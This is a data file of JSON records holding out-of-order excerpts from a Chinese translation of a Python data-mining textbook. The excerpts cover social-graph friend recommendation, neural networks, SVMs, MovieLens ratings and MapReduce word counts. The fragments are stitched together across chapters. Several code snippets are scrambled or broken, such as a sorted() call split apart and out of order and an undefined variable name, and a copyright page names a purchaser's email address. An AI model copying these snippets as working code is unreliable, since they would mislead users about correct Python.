    {"text": "考虑到要根据共同的好友向用户推荐他们可能感兴趣的人，因此就查找有共同好友的人。 找到现有用户的好友，从他们中间找出在现有用户中间有更多好友的人。 因此，需要统计这些用户的好友数量，即出现在已有用户的 friends 列表中的次数。"},
    {"text": "具体做法为遍历所有用户的 好友 列表，统计每个好友的出现次数： from collections import defaultdict def count_friends(friends): friend_count = defaultdict(int) for friend_list in friends.values(): for friend in friend_list: friend_count[friend] += 1 return friend_count 计算完成后，根据好友数量对 friend_count 字典进行排序，找到在当前用户中，关系网最大、最密集的人。 代码如下： friend_count reverse=True) = count_friends(friends) from operator import itemgetter best_friends = sorted(friend_count.items(), key=itemgetter(1), 建立一循环，凑够150个用户的好友数据后，该循环就会结束。 遍历 best_friends 字典（按照在现有用户中的好友数多少排序），找到还没有获取好友列表的用户，然后获取他的好友列表，更新 friends 列表。 最后，再次查找谁是最受欢迎的 1 ： 1 friend_count 字典更新后，刚刚找到的好友信息已经被包括进来了。 ——译者注 while len(friends) < 150: for user_id, count in best_friends: if user_id not in friends: break friends[user_id] = get_friends(t, user_id) for friend in friends[user_id]: friend_count[friend] += 1 best_friends = sorted(friend_count.items(), key=itemgetter(1), reverse=True) 上述代码运行结束后，就可以得到150名用户的好友数据。"},
    {"text": "使用 json 库，就可以轻松把好友字典保存到文件里： import json friends_filename = os.path.join(data_folder, \"python_friends.json\") with open(friends_filename, 'w') as outf: json.dump(friends, outf) 使用 json.load 函数，从文件中加载数据： with open(friends_filename) as inf: friends = json.load(inf) 7.1.4 创建图 到现在为止，已经拿到了用户列表和他们的好友列表,很多用户是其他用户的好友。"},
    {"text": "代码如下： import networkx as nx G = nx.DiGraph() 我们只将150名核心用户彼此间的好友关系绘制成图像 3 ，其他好友关系由于数据量很大难以可视化（成千上万个，作图有难度）。"},
    {"text": "导入 pyplot ，把图像尺寸设置得大一点，调用 NetworkX 的 draw 函数（ NetworkX 使用 pyplot 函数作图）： from matplotlib import pyplot as plt plt.figure(3,figsize=(20,20)) nx.draw(G, alpha=0.1, edge_color='b') 生成的图像太大一页放不下，但是大图像的好处是：图的轮廓看得更清楚。"},
    {"text": "这里要用到集合操作，但是好友数据存储在 friends 列表中，所以首先要把列表转换为集合。 代码如下： friends = {user: set(friends[user]) for user in friends} 创建一函数 4 ，计算两个好友集合之间的相似度： 4 注意函数体 return 语句需要缩进。 ——译者注 def compute_similarity(friends1, friends2): return len(friends1 & friends2) / len(friends1 | friends2) 现在就可以创建加权图。 本章后面会多次用到创建图的功能，因此将其封装成函数，留意下 threshold 参数： def create_graph(followers, threshold=0): G = nx.Graph() 使用嵌套循环遍历用户数据，跳过两层循环中用户相同的情况： for user1 in friends.keys(): for user2 in friends.keys(): if user1 == user2: continue 计算两个用户之间边的权重： weight = compute_similarity(friends[user1], friends[user2]) 只有边的权重大于阈值，才会保存这条边，以确保只保存我们认为重要的边——例如，权重为0的边就没意义。"},
    {"text": "代码如下： if weight >= threshold: 如果权重大于等于阈值，把两个用户添加到图中（如果已经存在，不要重复添加）： G.add_node(user1) G.add_node(user2) 然后为这两个用户之间添加边，把权重设置为刚计算出来的相似度： G.add_edge(user1, user2, weight=weight) 循环结束后，图创建完毕，返回该图： return G 调用上述函数就能生成一个图。"},
    {"text": "在作图时，可以根据边的权重来指定所用线条的粗细——粗线表示权重大。 由于顶点数量较多，作图时考虑适当增加图像尺寸，顶点之间的边看上去会更加清楚： plt.figure(figsize=(10,10)) 在绘制带权重的边之前，需要先画出顶点。"},
    {"text": "我发现 spring_layout 非常好用，除此之外，还有 circular_layout （如果其他方式不好用，还可以试试这个）、 random_layout 、 shell_layout 和 spectral_layout 。"},
    {"text": "使用 spring_layout 布局方法： pos = nx.spring_layout(G) 使用 pos 布局方法，确定顶点位置： nx.draw_networkx_nodes(G, pos) 接下来，绘制边。 遍历图中的每条边，获得其权重： edgewidth = [ d['weight'] for (u,v,d) in G.edges(data=True)] 绘制各条边： nx.draw_networkx_edges(G, pos, width=edgewidth) 最终图像具体长什么样取决于你的数据，但大体形状应该与我的一致：图中大量顶点之间有较多连接，少数顶点与网络其他顶点之间连接较少。"},
    {"text": "Unknown 8.1 人工神经网络 神经网络 算法最初是根据人类大脑的工作机制设计的。然而，该领域近年所取得的进展主要得益于数学而不是生物学。神经网络由一系列相互连接的 神经元 组成。每个神经元都是一个简单的函数，接收一定输入，给出相应输出。 神经元可以使用任何标准函数来处理数据，比如线性函数，这些函数统称为 激活函数 （activation function）。一般来说，神经网络学习算法要能正常工作，激活函数应当是可导（derivable）和光滑的。常用的激活函数有逻辑斯谛函数，函数表达式如下（ x 为神经元的输入， k 、 L 通常为1，这时函数达到最大值）。 下图为 x 取-6到6之间的函数图像。 两条红线的交点表示 x 为0时，函数值为0.5。 每个神经元接收几个输入，根据这几个输入 1 ，计算输出。这样的一个个神经元连接在一起组成了神经网络，对数据挖掘应用来说，它非常强大。这些神经元紧密连接，密切配合，能够通过学习得到一个模型，使得神经网络成为机器学习领域最强大的概念之一。 1 对带权重的输入加总。——译者注 神经网络简介 用于数据挖掘应用的神经网络，神经元按照层级进行排列。第一层，也就是 输入层 ，接收来自数据集的输入。第一层中的每个神经元对输入进行计算，把得到的结果传给第二层的神经元。这种叫作 前向神经网络 。本章暂且把它简称为神经网络。此外，还有几种神经网络，适用于不同的应用。第11章会讲到另外一种类型的神经网络。 神经网络中，上一层的输出作为下一层的输入，直到到达最后一层： 输出层 。输出结果表示的是神经网络分类器给出的分类结果。输入层和输出层之间的所有层被称为 隐含层 ，因为在这些层中，其数据表现方式，常人难以理解。大多数神经网络至少有三层，而如今大多数应用所使用的神经网络层次比这多得多。 我们优先考虑使用全连接层，即上一层中每个神经元的输出都输入到下一层的所有神经元。实际构建神经网络时，就会发现，训练过程中，很多权重都会被设置为0，有效地减少边的数量。比起其他连接模式，全连接神经网络更简单，计算起来更快捷。 神经元激活函数通常使用逻辑斯谛函数，每层神经元之间为全连接，创建和训练神经网络还需要用到其他几个参数。创建过程，指定神经网络的规模需要用到两个参数：神经网络共有多少层，隐含层每层有多少个神经元（输入层和输出层神经元数量通常由数据集来定）。 训练过程还会用到一个参数：神经元之间边的权重。一个神经元连接到另外一个神经元，两者之间的边具有一定的 权重 ，在计算输出时，用边的权重乘以信号的大小（signal，第一个神经元的输出）。如果边的权重为0.8，神经元激活后，输出值为1，那么下一个神经元从前面这个神经元得到的输入就是0.8。如果第一个神经元没有激活，值为0，那么输出到第二个神经元的值就是0。 神经网络大小合适，且权重经过充分训练，它的分类效果才能精确。大小合适并不是越大越好，因为神经网络过大，训练时间会很长，更容易出现过拟合训练集的情况。 通常，开始时使用随机选取的权重，训练过程中再逐步更新。 设置好第一个参数（网络的大小），再从训练集中训练得到边的权重参数后，就能构造分类器。然后，就可以用它进行分类，跟前几章用到的分类器算法很像。但是，首先需要准备训练集和测试集。 Unknown 4.5 小结 本章把亲和性分析用到电影推荐上，从大量电影打分数据中找到可用于电影推荐的关联规则。整个过程分为两大阶段。首先，借助Apriori算法寻找数据中的频繁项集。然后，根据找到的频繁项集，生成关联规则。 由于数据集较大，Apriori算法就很有必要。虽然第1章使用最笨的方法来寻找规则，但是在这里就不适用了，由于时间复杂度呈指数级增长，我们需要寻找更巧妙的解决方案。这种现象在数据挖掘中很常见：虽然可以用最笨的方法穷尽所有情况来解决问题，但在数据量很大的情况下必须要使用更灵活、更快捷的算法。 我们用一部分数据作为训练集以发现关联规则，在剩余数据——测试集上进行测试。可以用前几章的交叉检验方法对每条规则的效果进行更为充分的评估。 到目前为止，我们使用的数据集都有很明显的特征。然而，不是所有数据集都是这个样子。下一章将学习用 scikit-learn 的转换器（第3章曾介绍过）从数据中抽取特征。还将讨论怎样实现自己的转换器和扩展已有转换器，并介绍相关概念。"},
    {"text": "import numpy as np batches = [] for i in range(1, 6): batch_filename = os.path.join(data_folder, \"data_batch_{}\". format(i)) batches.append(unpickle(batch1_filename)) break 上面最后一行的 break 语句是用来测试代码——这会极大地减少训练数据，便于你迅速了解代码是否能正常运行。"},
    {"text": "X = np.vstack([batch['data'] for batch in batches]) 然后，把像素值归一化，并将其强制转换为32位浮点型数据（这是使用GPU进行计算的虚拟机唯一支持的数据类型）。"},
    {"text": "from sklearn.preprocessing import OneHotEncoder y = np.hstack(batch['labels'] for batch in batches).flatten() y = OneHotEncoder().fit_transform(y.reshape(y.shape[0],1)).todense() y = y.astype(np.float32) 接下来，把数据集切分为训练集和测试集。"},
    {"text": "X_train = X_train.reshape(-1, 3, 32, 32) X_test = X_test.reshape(-1, 3, 32, 32) 我们现在准备好了训练集、测试集以及目标类别，可以创建分类器了。"},
    {"text": "from lasagne import layers layers=[ ('input', layers.InputLayer), ('conv1', layers.Conv2DLayer), ('pool1', layers.MaxPool2DLayer), ('conv2', layers.Conv2DLayer), ('pool2', layers.MaxPool2DLayer), ('conv3', layers.Conv2DLayer), ('pool3', layers.MaxPool2DLayer), ('hidden4', layers.DenseLayer), ('hidden5', layers.DenseLayer), ('output', layers.DenseLayer), ] 最后三层使用密集层，但是前面使用三组卷积层和池化层。"},
    {"text": "from nolearn.lasagne import NeuralNet nnet = NeuralNet(layers=layers, 指定输入数据的形状，跟数据集形状一致（每个像素由三个值组成，图像32像素见方）。"},
    {"text": "感兴趣的读者可参考如下文件： https://github.com/dnouri/nolearn/blob/master/nolearn/lasagne.py ，了解 NeuralNet 类中 batch_iterator_train 和 batch_iterator_test 参数是如何设置的。"},
    {"text": "conv1_num_filters=32, conv1_filter_size=(3, 3), conv2_num_filters=64, conv2_filter_size=(2, 2), conv3_num_filters=128, conv3_filter_size=(2, 2), filter_size 参数规定卷积层用于查看图像窗口的大小。"},
    {"text": "pool1_ds=(2,2), pool2_ds=(2,2), pool3_ds=(2,2), 然后，设置两层隐含层（倒数第三层和倒数第二层）、输出层的大小，输出层大小跟数据集类别数量相等。"},
    {"text": "hidden4_num_units=500, hidden5_num_units=500, output_num_units=10, 最后一层需要设置非线性函数，还是用 softmax 。 output_nonlinearity=softmax, 还要设置学习速率和冲量。"},
    {"text": "update_learning_rate=0.01, update_momentum=0.9, 跟之前一样，把 regression 参数设置为 True ，训练步数设置为很小的值3，因为我们创建的这个神经网络运行时间相对较长。"},
    {"text": "regression=True, max_epochs=3, 最后一个参数 verbose 设置为1，这样每步训练都会输出结果，以便于我们了解模型的训练进度以及它是否在运行。"},
    {"text": "此外，还能输出每一步训练所花的时间，这个值变化不大，因此用每步训练所花时间乘以剩余训练步数就能算出总共还需要多长时间才能完成训练。"},
    {"text": "from sklearn.metrics import f1_score y_pred = nnet.predict(X_test) print(f1_score(y_test.argmax(axis=1), y_pred.argmax(axis=1))) 结果很糟糕——本应如此！"},
    {"text": "启动、连接到虚拟机，像之前把代码那样粘贴过去（我把这里的.py文件命名为chapter11cifar.py——如果你使用其他名字，请记得在下面代码中做相应改动）。"},
    {"text": "wget http://www.cs.toronto.edu/~kriz/cifar-10-python.tar.gz 下载数据集，新建Data文件夹，把数据文件解压到Data文件夹中。 mkdir Data tar -zxf cifar-10-python.tar.gz -C Data 最后，使用下面命令运行实验代码。"},
    {"text": "因此，只有一个模型，训练时间长点短点不会有太大问题——特别是大多数机器学习算法都能很快给出预测结果，这也正是为什么大多数情况都使用一个模型。"},
    {"text": "Unknown 第 3 章 用决策树预测获胜球队 本章介绍另一种分类算法——决策树，用它预测NBA篮球赛的获胜球队。比起其他算法，决策树有很多优点，其中最主要的一个优点是决策过程是机器和人都能看懂的，我们使用机器学习到的模型就能完成预测任务。正如我们将在本章讲到的，决策树的另一个优点则是它能处理多种不同类型的特征。 本章主要内容有： 用pandas库加载、处理数据 决策树 随机森林 对真实数据集进行数据挖掘 创建新特征，用强有力的框架对其进行测试 Unknown 第 4 章——用亲和性分析方法推荐电影 新数据集 http://www2.informatik.uni-freiburg.de/~cziegler/BX/ 很多用于特定领域推荐任务的数据集，都值得探索。例如，Book-Crossing数据集包含来自27.8万用户的100多万条图书打分信息。有些评价信息很明确（用户给出分数），而有些则很模糊。模糊评价的权重不应该跟明确评价的一样高。 音乐网站 www.last.fm 公开了可用于音乐推荐的数据集： http://www.dtic.upf.edu/~ocelma/MusicRecommendationDataset/ 。 这里有一个用于笑话推荐的数据集！请见 http://eigentaste.berkeley.edu/dataset/ 。 Eclat算法 http://www.borgelt.net/eclat.html 本章实现的Apriori算法是最常用的关联规则挖掘算法，但不是最好的。比较而言，Eclat算法更年轻也更强大，实现起来也比较容易。 Unknown 版权信息 书名：Python数据挖掘入门与实践 作者：[澳] Robert Layton 译者：杜春晓 ISBN：978-7-115-42710-6 本书由北京图灵文化发展有限公司发行数字版。版权所有，侵权必究。 您购买的图灵电子书仅供您个人使用，未经授权，不得以任何方式复制和传播本书内容。 我们愿意相信读者具有这样的良知和觉悟，与我们共同保护知识产权。 如果购买者有侵权行为，我们可能对该用户实施包括但不限于关闭该帐号等维权措施，并可能追究法律责任。 图灵社区会员 憨豆战神（vikecom@163.com） 专享 尊重版权 Unknown 第 9 章 作者归属问题 文本挖掘任务作者分析（authorship analysis）的目标是只根据作品内容找出作者独有的特点，比如年龄、性别或背景。 作者归属 （authorship attribution）是作者分析的一个细分领域，研究目标是从一组可能的作者中找到文档真正的主人。这是一种典型的分类任务。作者分析任务一般采用标准的数据挖掘方法，比如交叉检验、特征抽取和分类算法等。 本章将把前几章学到的数据挖掘方法整合起来，解决作者归属问题，从而掌握数据挖掘整个过程。我们界定问题，讨论相关背景和知识，抽取特征，创建流水线实现分类。我们将比较两类特征的效果：功能词和N元语法。最后，深入分析结果。数据集会用到两种，一开始使用图书，然后增加难度，使用噪音较多的真实电子邮件语料。 本章主要介绍如下内容。 特征工程和如何根据应用选择特征 带着新问题，重新回顾词袋模型 特征类型和字符N元语法模型 支持向量机 数据集清洗 Unknown 客户支持 为自己拥有一本Packt出版的书而自豪吧！为了让你的书物有所值，我们还为你准备了以下内容。"},
    {"text": "12.3.1 直观理解 MapReduce主要分为两步：映射（Map）和规约（Reduce）。 函数式程序设计中有把函数映射到列表和规约结果的概念，MapReduce以这两个概念为基础。"},
    {"text": "sums = map(sum, a) 上述 sums 为生成器（在我们调用它之前，不会进行计算），上面这行代码大体上等价于： sums = [] for sublist in a: results = sum(sublist) sums.append(results) 规约步骤要稍微复杂些，需要对返回结果的每一个元素应用一个函数，从初始值开始，对初始值和第一个值应用指定函数，得到返回结果，然后再对所得到的结果和下一个值应用指定函数，以此类推。"},
    {"text": "规约函数形式为 reduce(function, sequence, initial) ，参数分别表示用来进行规约的函数的名字、列表和初始值，函数即是对序列的每一步所应用的函数。"},
    {"text": "from functools import reduce print(reduce(add, sums, 0)) 结果为25，它是 sums 列表中每个元素的和，也就是原来大列表 a 中每个二级列表各元素的和。"},
    {"text": "initial = 0 current_result = initial for element in sums: current_result = add(current_result, element) 我们这个小例子，代码很简短，但真正的好处是可以使用分布式计算。"},
    {"text": "for word in counts: yield (word, counts[word]) 用单词做键，我们就可以进行shuffle操作，把每个键所有值聚集到一起。 def shuffle_words(results): 首先，把每个单词的统计结果放到一个列表中。"},
    {"text": "for results in results_generators: for word, count in results: records[word].append(count) 接着，遍历每个单词，创建生成器，它能生成（yield）单词和该单词在各文档出现次数的列表这两项。"},
    {"text": "我们这里，键为单词，输入的列表为shuffle后得到的作为键的单词在不同文档出现次数的列表，输出键值对中的值这一项为单词（键）在所有文档的出现次数之和。"},
    {"text": "def reduce_counts(word, list_of_counts): return (word, sum(list_of_counts)) 我们使用 scikit-learn 提供的来自20个新闻组的语料看下上述代码的实际效果。"},
    {"text": "from sklearn.datasets import fetch_20newsgroups dataset = fetch_20newsgroups(subset='train') documents = dataset.data 然后执行映射操作，这里用 enumerate 函数自动为文档生成编号。"},
    {"text": "Unknown 9.3 支持向量机 支持向量机 （SVM）分类算法背后的思想很简单，它是一种二类分类器（扩展后可用来对多个类别进行分类）。假如我们有两个类别的数据，而这两个类别恰好能被一条线分开，线上所有点为一类，线下所有点属于另一类。SVM要做的就是找到这条线，用它来做预测，跟线性回归原理很像。只是SVM要找出最佳的 分割线 。下图中有三条线，分别为蓝色、黑色和绿色线，都能把两类数据区分开来。你说哪条分类效果更好呢？ 凭直觉，人们往往会选择从左下到右上的这条线 2 ，它把两类数据更好地分开了。也就是说，数据集中的每个点到这条线的距离都是最远的。 2 如果你查看原书PDF文件的话，这条线指的是图中的蓝线。PDF文件获取方法请见前言部分。建议读者下载查看。彩色图毕竟比黑白图形象。——译者注 找到这样的一条线其实是最优化问题，也就是要让各点到分割线之间的距离最大化。 虽然最优化问题的公式推导不在本书讲述范围之列，我还是建议感兴趣的读者自行查看 http://en.wikibooks.org/wiki/Support_Vector_Machines ，了解详细步骤。此外，你还可以访问 http://docs.opencv.org/doc/tutorials/ml/introduction_to_svm/introduction_to_svm.html ，了解支持向量机相关内容。 9.3.1 用SVM分类 模型训练完毕，就能找到使得两类之间间隔最大的一条线。新数据点分类问题就简化为： 数据点在线上还是线下 ？如果在线上，就被分到线上那一类；如果位于线下，自然属于线下那一类。 对于多种类别的分类问题，我们创建多个SVM分类器——每个还是二类分类器。连接多个分类器有不少方法，从中任选一种即可。最简单的方法是为每个类别创建 一对多 （one-versus-all）分类器，把训练数据分为两个类别——属于特定类别的数据和其他所有类别数据。对新数据进行分类时，从这些类别中找出最匹配的。大多数SVM多类分类器都能自动完成上述过程。 前面代码中有两个参数： C 和 kernel 。 kernel 参数下节讲， C 参数对于训练SVM来说很重要，我们现在来讲下。 C 参数与分类器正确分类比例相关，但可能带来过拟合的风险。 C 值越高，间隔越小，表示要尽可能把所有数据正确分类。 C 值越小，间隔越大——有些数据将无法正确分类。 C 值低，过拟合训练数据的可能性就低，但是分类效果可能会相对较差。 SVM（基础形式）局限性之一就是只能用来对线性可分的数据进行分类。如果线性不可分呢？这时我们就要用到内核函数。 9.3.2 内核 如果数据线性不可分，就需要将其置入更高维的空间中，加入更多伪特征直到数据线性可分（如果你加入足够多恰当的特征，总能把数据分开）。 寻找最佳分隔线时往往需要计算个体之间的内积 3 。对于使用点积（dot product）的函数，我们可以创建新特征而无需实际定义这些特征。因为我们不知道这些特征到底是什么样子，所以用点积很方便。我们把内核函数定义为数据集中两个个体函数的点积，而不是使用个体自身（及构造的特征）。 3 inner product，也称作点积。——译者注 接下来就可以计算点积（或近似值），然后就能使用它。 常用的内核函数有几种。线性内核最简单，它无外乎两个个体的特征向量的点积、带权重的特征和偏置项。多项式内核提高点积的阶数（比如2）。此外，还有高斯内核（rbf）、Sigmoind内核。前面例子中，我们比较了线性内核和 rbf 内核的效果。 这些内核能够有效地确定两类数据之间的距离，SVM可以据此对新数据进行分类。理论上讲，任何距离度量方法都可以用，但是在训练SVM时，最优化问题的复杂程度会有所不同。 scikit-learn 实现的SVM，可以通过 kernel 参数指定内核函数，正如我们在前面例子中见过的。"},
    {"text": "Unknown 4.2 电影推荐问题 产品推荐技术是门大生意。网店经常用它向潜在用户推荐他们可能购买的产品。好的推荐算法能带来更高的销售业绩。每年有几百万乃至几千万用户进行网购，向他们推荐更多的商品，潜在收益着实可观。 产品推荐问题被人们研究了多年，但它一直不温不火，直到2007年到2009年间，Netflix公司推出数据建模大赛，并设立Netflix Prize奖项之后，才得到迅猛发展。该竞赛意在寻找比Netflix公司所使用的预测用户为电影打分的系统更准确的解决方案。最后获奖队伍以比现有系统高10个百分点的优势胜出。虽然这个改进看起来不是很大，但是Netflix公司却能借助它实现更精准的电影推荐服务，从而多赚上百万美元。 4.2.1 获取数据集 自打Netflix Prize奖项设立以来，美国明尼苏达大学的Grouplens研究团队公开了一系列用于测试推荐算法的数据集。其中，就包括几个大小不同的电影评分数据集，分别有10万、100万和1000万条电影评分数据。 数据集下载地址为 http://grouplens.org/datasets/movielens/ 。本章将使用包含100万条数据的MovieLens数据集。下载数据集，解压到你的Data文件夹。启动IPython Notebook笔记本，输入以下代码。 import os import pandas as pd data_folder = os.path.join(os.path.expanduser(\"~\"), \"Data\", \"ml-100k\") ratings_filename = os.path.join(data_folder, \"u.data\") 确保 ratings_filename 指向解压后得到的文件夹中的 u.data 文件。 4.2.2 用pandas加载数据 MovieLens数据集非常规整，但是有几点跟 pandas.read_csv 方法的默认设置有出入，所以要调整参数设置。第一个问题是数据集每行的几个数据之间用制表符而不是逗号分隔。其次，没有表头，这表示数据集的第一行就是数据部分，我们需要手动为各列添加名称。 加载数据集时，把分隔符设置为制表符，告诉pandas不要把第一行作为表头（ header=None ），设置好各列的名称。代码如下： all_ratings = pd.read_csv(ratings_filename, delimiter=\"\\t\", header=None, names = [\"UserID\", \"MovieID\", \"Rating\", \"Datetime\"]) 虽然本章用不到，还是稍微提一下，你可以用下面的代码解析时间戳数据。 all_ratings[\"Datetime\"] = pd.to_datetime(all_ratings['Datetime'], unit='s') 运行下面的代码，看一下前五条记录。 all_ratings[:5] 输出结果如下。 UserID MovieID Rating Datetime 0 196 242 3 1997-12-04 15:55:49 1 186 302 3 1998-04-04 19:22:22 2 22 377 1 1997-11-07 07:18:36 3 244 51 2 1997-11-27 05:02:03 4 166 346 1 1998-02-02 05:33:16 4.2.3 稀疏数据格式 这是一个稀疏数据集，我们可以将每一行想象成巨大特征矩阵的一个格子，前几章用到过这种矩阵。在这个矩阵中，每一行表示一个用户，每一列为一部电影。第一列为每一个用户给第一部电影打的分数，第二列为每一个用户给第二部电影打的分数，以此类推。 数据集中有1000名用户和1700部电影，这就意味着整个矩阵很大。将矩阵读到内存中及在它基础上进行计算可能存在难度。然而，这个矩阵的很多格子都是空的，也就是对大部分用户来说，他们只给少数几部电影打过分。比如用户#213没有为电影#675打过分，大部分用户没有为大部分电影打过分。 用上述图表中的格式也能表示矩阵，且更为紧凑。序号为0的那一行表示，用户#196在1997年12月4日为电影#242打了3分（满分是5分）。 任何没有出现在数据集中的用户和电影组合表示它们实际上是不存在的。这比起在内存中保存大量的0，节省了很多空间。这种格式叫作 稀疏矩阵 （sparse matrix）。根据经验来说，如果数据集中60%或以上的数据为0，就应该考虑使用稀疏矩阵，从而节省不少空间。 在对稀疏矩阵进行计算时，我们关注的通常不是那些不存在的数据，不会去比较众多的0值，相反我们关注的是现有数据，并对它们进行比较。 Unknown 7.3 小结 本章探讨了社交网络图以及如何对其进行聚类分析。还探讨了如何加载和使用在 第6章 创建的分类模型。 用来自Twitter的数据，创建了好友关系图，根据用户的好友，检测用户之间的相似度。我们认为共同好友更多的用户更相似，考虑到好友数量可能差别很大，对其进行了规范化处理。根据用户的相似度进行推测，是一种常用的知识（比如年龄或谈论的主题）推断方法。本章用下面的逻辑向用户推荐好友——如果他们关注用户X，用户Y和X相似，那么他们可能喜欢用户Y。这种方法与前几章从交易数据中挖掘相似商品有异曲同工之妙。 我们的目标是推荐用户，使用聚类分析方法能够找到不同的用户簇，主要步骤有根据相似度创建加权图，从图中寻找连通分支。创建图时用到了 NetworkX 库。 用轮廓系数评价聚类效果，其原则是簇内距离最小和簇间距离最大。轮廓系数越大，聚类效果越好。在寻找最合适的阈值时，用到了SciPy的 optimize 模块。 本章还比较了几对意义相反的概念。对于两者之间的 相似度 这个概念，值越 大 ，表明两者之间更相像。相反，对于 距离 而言，值越 小 ，两者更相像。另外一对是 损失函数 和 打分函数 。对于 损失函数 ，值越 小 ，效果越好（也就是损失越少）。而对于 打分函数 ，值越 大 ，效果越好。 下一章将介绍怎样从另外一种数据类型——图像中抽取特征。接下来，将讨论如何用神经网络识别图像中的数字，编写程序实现自动化破解 验证码 。"},
    {"text": "Unknown 9.6 小结 本章研究的是文本挖掘领域中的作者归属问题，我们分析了两类特征的效果：功能词和字符N元语法。我们在词袋模型中使用功能词——提前选好的一组词，计算出这些词的词频。字符N元语法的处理流程跟基于单词的N元语法很相似，但是分析器转而关注字符而不是单词。此外，N元语法由一系列字符组成。单词N元语法由于可以提供单词的语境而没有增加多少计算量，在某些应用中也值得一试。 我们用SVM来进行分类，它通过找出使得两个类别之间间隔最大的线进行分类。线上的属于一类，线下的属于另外一类。跟其他分类任务一样，我们也需要有数据集（邮件）。 我们使用安然公司的邮件作为数据集，它包含很多噪音，比如包含被回复的邮件等。所以分类效果比起图书数据集要差不少。然而，在有10个发件人的情况下，半数以上邮件的发件人都能预测正确。 下一章，我们要研究的问题是没有目标类别的情况下，怎么对数据进行分类。这种叫作无监督学习，比起预测更像是探索性问题。我们要使用的依然是充满噪音的文本数据集。准备好接受挑战了吗？"},
    {"text": "12.4.1 获取数据 我们使用2004年8月份从 http://blogger.com 网站采集的60多万篇博客文章作为数据集，这些文章共有1.4亿多个单词，每篇文章都标注了博主的年龄、性别、行业（工作），有趣的是还有星座。"},
    {"text": "这样做是便于把难以确定博主年龄的博客粗略归到某一年龄段中，因为很难把18岁写的博客和19岁所写的区分开来，此外，当你使用这些数据时，博主实际年龄可能比早先填写的又长了几岁，因此需要做相应调整。"},
    {"text": "——译者注 所有的这些数据都是用户自己提供的，这就表明其中有错误或不一致现象，但是绝大多数是可靠的——如果用户为了保护个人隐私起见，不想透露某方面的信息，他们可以选择不填，这一点网站是允许的。"},
    {"text": "import os filename = os.path.join(os.path.expanduser(\"~\"), \"Data\", \"blogs\", \"1005545.male.25.Engineering.Sagittarius.xml\") 首先，创建用于存储每篇博客的列表。"},
    {"text": "with open(filename) as inf: 设置标识是否在博客中的标记。 找到博客开始标签 <post> 后，将标记的值设置为 True ，表示找到了博客的开始位置。 找到关闭标签 </post> 后，将标记的值设置为 False 。 post_start = False 创建用于存储博客当前行内容的列表。 post = [] 遍历文件的每一行，删除该行前后的空格。 for line in inf: line = line.strip() 照前面所说，找到博客的开始、关闭标签后，更改标记 post_start 的值。 if line == \"<post>\": post_start = True elif line == \"</post>\": post_start = False 找到关闭标签 </post> 后，记录刚找到的这一篇博客的所有内容。"},
    {"text": "all_posts.append(\"\\n\".join(post)) post = [] 最后，如果该行不是博客结尾，也就是还在博客里面，把这一行加到当前博客post列表的最后。 elif post_start: post.append(line) 如果没有在博客中，忽略这一行。"},
    {"text": "print(len(all_posts)) 12.4.2 朴素贝叶斯预测 我们来实现朴素贝叶斯算法（从技术上讲，这是一个简化的版本，复杂实现通常有很多特征）处理博客博主性别分类问题。"},
    {"text": "7 英国儿童文学作家罗杰·哈格里维斯（Roger Hargreaves）为儿童创作的《奇先生妙小姐》系列图书中的人物形象，比如有荒唐先生、傲慢先生、邋遢先生等。"},
    {"text": "最令人惊异的特性是，你可以编写同一套代码，既能在没有安装Hadoop的本地计算机上进行测试，测试完后，还可以直接把代码提交到亚马逊的EMR或其他Hadoop服务器上。"},
    {"text": "当前的文件名称以环境变量的形式存储，用下面代码就能获取到。 filename = os.environ[\"map_input_file\"] 用点号切分文件名，获取性别（第二个字符串）。 gender = filename.split(\".\")[1] 删除一行开头和结尾处的空格（博客中空格很多），然后查找文件开头和结尾。"},
    {"text": "line = line.strip() if line == \"<post>\": self.post_start = True elif line == \"</post>\": self.post_start = False 之前我们把博客保存到列表里，而这次我们用 yield ，便于mrjob跟踪输出：博主性别和博客内容，这样博主性别和博客就能一一对应起来。"},
    {"text": "yield gender, repr(\"\\n\".join(self.post)) self.post = [] elif self.post_start: self.post.append(line) 最后，在函数和类的外面，编写下面语句，以便从命令行运行代码时执行MapReduce任务。 if __name__ == '__main__': ExtractPosts.run() 现在，可以在命令行输入下面的shell命令运行MapReduce任务。"},
    {"text": "python extract_posts.py <your_data_folder>/blogs/51* --output- dir=<your_data_folder>/blogposts –no-output 第一个参数 <your_data_folder>/blogs/51* （注意把 <your_data_folder> 替换为你的数据文件夹的全路径）指定所使用的数据集（所有以51开始的文件，只有11个）。"},
    {"text": "对博客进行分类时，我们分别计算博客 8 博主为女性的概率和博主为男性的概率，选取概率较大的，作为最终类别。 8 一篇博客，其博主为女性的概率有多大？ 计算方法为，从语料中统计到该博客中每个单词出现在女博主所写博客中的概率，然后求出这些概率的积。"},
    {"text": "输出文件如下所示： \"'ailleurs\" {\"female\": 0.003205128205128205} \"'air\" {\"female\": 0.003205128205128205} \"'an\" {\"male\": 0.0030581039755351682, \"female\": 0.004273504273504274} \"'angoisse\" {\"female\": 0.003205128205128205} \"'apprendra\" {\"male\": 0.0013047113868622459, \"female\": 0.0014172668603481887} \"'attendent\" {\"female\": 0.00641025641025641} \"'autistic\" {\"male\": 0.002150537634408602} \"'auto\" {\"female\": 0.003205128205128205} \"'avais\" {\"female\": 0.00641025641025641} \"'avait\" {\"female\": 0.004273504273504274} \"'behind\" {\"male\": 0.0024390243902439024} \"'bout\" {\"female\": 0.002034152292059272} 输出结果每一行的第一个值为单词，第二值为一个字典，字典的键为性别，字典的值为给定性别使用该词的频率。"},
    {"text": "def steps(self): return [ MRStep(mapper=self.extract_words_mapping, reducer=self.reducer_count_words), MRStep(reducer=self.compare_words_reducer), ] 第一个函数是第一步中的映射函数。"},
    {"text": "这个函数的目标是接收一条博客数据，获取里面的所有单词，因为我们想要得到单词的频率，所以每个单词返回 1 / len(all_words) ，便于后面加总求词频。"},
    {"text": "def extract_words_mapping(self, key, value): tokens = value.split() gender = eval(tokens[0]) blog_post = eval(\" \".join(tokens[1:])) all_words = word_search_re.findall(blog_post) all_words = [word.lower() for word in all_words] all_words = word_search_re.findall(blog_post) all_words = [word.lower() for word in all_words] for word in all_words: yield (gender, word), 1. / len(all_words) 上面代码使用 eval 函数简化对每条博客数据的处理，直接把字符串转换为Python列表，但不建议这么做。"},
    {"text": "我们还把键改为单词，而不是单词和性别的组合，因为在最后训练得到的模型中，我们要根据单词进行查询（虽然还要输出性别以供后面使用）。"},
    {"text": "def reducer_count_words(self, key, frequencies): s = sum(frequencies) gender, word = key yield word, (gender, s) 最后一步不需要映射函数，因此我们就没有添加它。"},
